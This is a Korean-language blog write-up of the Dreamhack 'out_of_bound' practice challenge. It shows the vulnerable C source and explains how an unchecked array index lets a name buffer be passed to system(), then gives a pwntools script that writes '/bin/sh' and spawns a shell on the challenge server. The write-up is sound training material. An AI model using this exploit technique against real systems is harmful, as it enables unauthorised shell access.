Dreamhack/System Hacking

[Dreamhack] out_of_bound

amoogotomollayo 2022. 2. 19. 22:40

1. 문제 정보

2. 문제 파일

더보기
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

문제에서 제공되는 소스 코드입니다.

3. 문제 풀이

더보기
    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

read 함수를 통해 name에 문자열을 입력할 수 있습니다.

그리고 scanf 함수를 통해 idx에 숫자를 입력하고 해당 숫자에 해당하는 명령어를 실행합니다.

 

idx에 대한 검증이 따로 없어 name의 주소를 인자로 전달할 수 있습니다.

이때 name에 /bin/sh을 입력하면 셸을 실행할 수 있습니다.

 

command의 주소는 0x804a060이고  name의 주소는 0x804a0ac입니다.

두 주소의 차이는 76byte고 4로 나누면 19바이트입니다. 

 

"/bin/sh"를 입력하고 idx에 19를 넣으면 문제가 해결되지 않습니다.

system 함수의 인자는 해당 문자열의 주소를 넣어야 합니다. 그렇기 때문에 gdb를 통해 구한 name 주소를 이용해

0x804a0ac에 4를 더한 0x804a0b0 + "/bin/sh"를 입력하여 인자를 문자열의 주소로 전달하게 만들어야 합니다. 

 

코드와 결과는 아래와 같습니다.

from pwn import *

context.log_level = 'debug'

r = remote("host2.dreamhack.games", 17153)

r.sendafter("name: ", p32(0x804a0b0) + b"/bin/sh")

r.sendlineafter("want?: ", str(19))

r.interactive()